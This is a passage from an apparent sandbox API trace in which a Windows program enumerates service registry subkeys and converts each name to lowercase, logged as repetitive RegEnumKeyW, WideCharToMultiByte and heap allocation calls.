returned 1 [0253.431] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xe, lpName=0x2152850, cchName=0x104 | out: lpName="adsi") returned 0x0 [0253.431] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.432] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adsi", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0253.432] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1e38 [0253.432] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adsi", cchWideChar=4, lpMultiByteStr=0x21f1e38, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adsi", lpUsedDefaultChar=0x0) returned 4 [0253.432] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c40 [0253.432] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1e38) returned 1 [0253.432] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c40) returned 1 [0253.432] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.432] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xf, lpName=0x2152850, cchName=0x104 | out: lpName="AeLookupSvc") returned 0x0 [0253.432] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.432] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aelookupsvc", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0253.432] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c40 [0253.432] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aelookupsvc", cchWideChar=11, lpMultiByteStr=0x21f1c40, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aelookupsvc", lpUsedDefaultChar=0x0) returned 11 [0253.432] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1e38 [0253.432] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c40) returned 1 [0253.432] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1e38) returned 1 [0253.432] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.432] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x10, lpName=0x2152850, cchName=0x104 | out: lpName="AFD") returned 0x0 [0253.432] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.432] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="afd", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0253.432] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1e38 [0253.432] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="afd", cchWideChar=3, lpMultiByteStr=0x21f1e38, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="afd", lpUsedDefaultChar=0x0) returned 3 [0253.432] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c40 [0253.432] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1e38) returned 1 [0253.432] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c40) returned 1 [0253.432] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.432] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x11, lpName=0x2152850, cchName=0x104 | out: lpName="agp440") returned 0x0 [0253.432] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.432] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="agp440", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0253.432] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c40 [0253.432] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="agp440", cchWideChar=6, lpMultiByteStr=0x21f1c40, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="agp440", lpUsedDefaultChar=0x0) returned 6 [0253.432] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1e38 [0253.432] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c40) returned 1 [0253.432] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1e38) returned 1 [0253.433] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.433] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x12, lpName=0x2152850, cchName=0x104 | out: lpName="ALG") returned 0x0 [0253.433] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.433] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="alg", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0253.433] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1e38 [0253.433] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="alg", cchWideChar=3, lpMultiByteStr=0x21f1e38, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="alg", lpUsedDefaultChar=0x0) returned 3 [0253.433] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c40 [0253.433] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1e38) returned 1 [0253.433] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c40) returned 1 [0253.433] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.433] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x13, lpName=0x2152850, cchName=0x104 | out: lpName="aliide") returned 0x0 [0253.433] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.433] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aliide", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0253.433] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c40 [0253.433] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aliide", cchWideChar=6, lpMultiByteStr=0x21f1c40, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aliide", lpUsedDefaultChar=0x0) returned 6 [0253.433] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1e38 [0253.433] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c40) returned 1 [0253.433] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1e38) returned 1 [0253.433] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.433] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x14, lpName=0x2152850, cchName=0x104 | out: lpName="amdide") returned 0x0 [0253.433] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.433] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdide", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0253.433] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1e38 [0253.433] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdide", cchWideChar=6, lpMultiByteStr=0x21f1e38, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdide", lpUsedDefaultChar=0x0) returned 6 [0253.433] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c40 [0253.433] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1e38) returned 1 [0253.433] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c40) returned 1 [0253.433] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.433] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x15, lpName=0x2152850, cchName=0x104 | out: lpName="AmdK8") returned 0x0 [0253.433] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.433] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdk8", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0253.433] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c40 [0253.433] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdk8", cchWideChar=5, lpMultiByteStr=0x21f1c40, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdk8", lpUsedDefaultChar=0x0) returned 5 [0253.434] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1e38 [0253.434] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c40) returned 1 [0253.434] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1e38) returned 1 [0253.434] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.434] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x16, lpName=0x2152850, cchName=0x104 | out: lpName="AmdPPM") returned 0x0 [0253.434] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.481] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdppm", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0253.481] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1e38 [0253.481] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdppm", cchWideChar=6, lpMultiByteStr=0x21f1e38, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdppm", lpUsedDefaultChar=0x0) returned 6 [0253.481] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c40 [0253.481] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1e38) returned 1 [0253.481] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c40) returned 1 [0253.481] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.481] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x17, lpName=0x2152850, cchName=0x104 | out: lpName="amdsata") returned 0x0 [0253.481] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.481] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdsata", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0253.481] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c40 [0253.482] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdsata", cchWideChar=7, lpMultiByteStr=0x21f1c40, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdsata", lpUsedDefaultChar=0x0) returned 7 [0253.482] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1e38 [0253.482] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c40) returned 1 [0253.482] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1e38) returned 1 [0253.482] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.482] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x18, lpName=0x2152850, cchName=0x104 | out: lpName="amdsbs") returned 0x0 [0253.482] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.482] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdsbs", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0253.482] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1e38 [0253.482] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdsbs", cchWideChar=6, lpMultiByteStr=0x21f1e38, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdsbs", lpUsedDefaultChar=0x0) returned 6 [0253.482] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c40 [0253.482] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1e38) returned 1 [0253.482] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c40) returned 1 [0253.482] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.482] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x19, lpName=0x2152850, cchName=0x104 | out: lpName="amdxata") returned 0x0 [0253.482] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.482] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdxata", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0253.482] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c40 [0253.482] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdxata", cchWideChar=7, lpMultiByteStr=0x21f1c40, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdxata", lpUsedDefaultChar=0x0) returned 7 [0253.482] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1e38 [0253.482] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c40) returned 1 [0253.482] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1e38) returned 1 [0253.482] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.482] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x1a, lpName=0x2152850, cchName=0x104 | out: lpName="AppID") returned 0x0 [0253.482] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.482] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appid", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0253.482] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1e38 [0253.482] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appid", cchWideChar=5, lpMultiByteStr=0x21f1e38, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="appid", lpUsedDefaultChar=0x0) returned 5 [0253.482] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c40 [0253.482] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1e38) returned 1 [0253.482] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c40) returned 1 [0253.482] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.482] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x1b, lpName=0x2152850, cchName=0x104 | out: lpName="AppIDSvc") returned 0x0 [0253.483] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.483] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appidsvc", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0253.483] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c40 [0253.483] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appidsvc", cchWideChar=8, lpMultiByteStr=0x21f1c40, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="appidsvc", lpUsedDefaultChar=0x0) returned 8 [0253.483] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1e38 [0253.483] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c40) returned 1 [0253.483] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1e38) returned 1 [0253.483] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.483] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x1c, lpName=0x2152850, cchName=0x104 | out: lpName="Appinfo") returned 0x0 [0253.483] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.483] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appinfo", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0253.483] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1e38 [0253.483] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appinfo", cchWideChar=7, lpMultiByteStr=0x21f1e38, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="appinfo", lpUsedDefaultChar=0x0) returned 7 [0253.483] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c40 [0253.483] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1e38) returned 1 [0253.483] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c40) returned 1 [0253.483] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.483] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x1d, lpName=0x2152850, cchName=0x104 | out: lpName="AppMgmt") returned 0x0 [0253.483] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.483] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appmgmt", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0253.483] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c40 [0253.483] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appmgmt", cchWideChar=7, lpMultiByteStr=0x21f1c40, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="appmgmt", lpUsedDefaultChar=0x0) returned 7 [0253.483] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1e38 [0253.483] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c40) returned 1 [0253.483] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1e38) returned 1 [0253.483] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.483] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x1e, lpName=0x2152850, cchName=0x104 | out: lpName="arc") returned 0x0 [0253.483] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.483] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="arc", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0253.483] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1e38 [0253.483] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="arc", cchWideChar=3, lpMultiByteStr=0x21f1e38, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="arc", lpUsedDefaultChar=0x0) returned 3 [0253.483] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c40 [0253.484] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1e38) returned 1 [0253.484] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c40) returned 1 [0253.484] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.484] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x1f, lpName=0x2152850, cchName=0x104 | out: lpName="arcsas") returned 0x0 [0253.484] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.484] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="arcsas", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0253.484] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c40 [0253.484] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="arcsas", cchWideChar=6, lpMultiByteStr=0x21f1c40, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="arcsas", lpUsedDefaultChar=0x0) returned 6 [0253.484] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1e38 [0253.484] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c40) returned 1 [0253.484] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1e38) returned 1 [0253.484] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.484] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x20, lpName=0x2152850, cchName=0x104 | out: lpName="ASP.NET") returned 0x0 [0253.484] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.484] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asp.net", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0253.484] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1e38 [0253.484] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asp.net", cchWideChar=7, lpMultiByteStr=0x21f1e38, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="asp.net", lpUsedDefaultChar=0x0) returned 7 [0253.484] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c40 [0253.484] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1e38) returned 1 [0253.484] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c40) returned 1 [0253.484] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.484] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x21, lpName=0x2152850, cchName=0x104 | out: lpName="ASP.NET_4.0.30319") returned 0x0 [0253.484] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.484] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asp.net_4.0.30319", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0253.484] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c40 [0253.484] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asp.net_4.0.30319", cchWideChar=17, lpMultiByteStr=0x21f1c40, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="asp.net_4.0.30319", lpUsedDefaultChar=0x0) returned 17 [0253.484] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1e38 [0253.484] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c40) returned 1 [0253.484] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1e38) returned 1 [0253.484] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.484] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x22, lpName=0x2152850, cchName=0x104 | out: lpName="aspnet_state") returned 0x0 [0253.484] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.485] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aspnet_state", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0253.485] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1e38 [0253.485] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aspnet_state", cchWideChar=12, lpMultiByteStr=0x21f1e38, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aspnet_state", 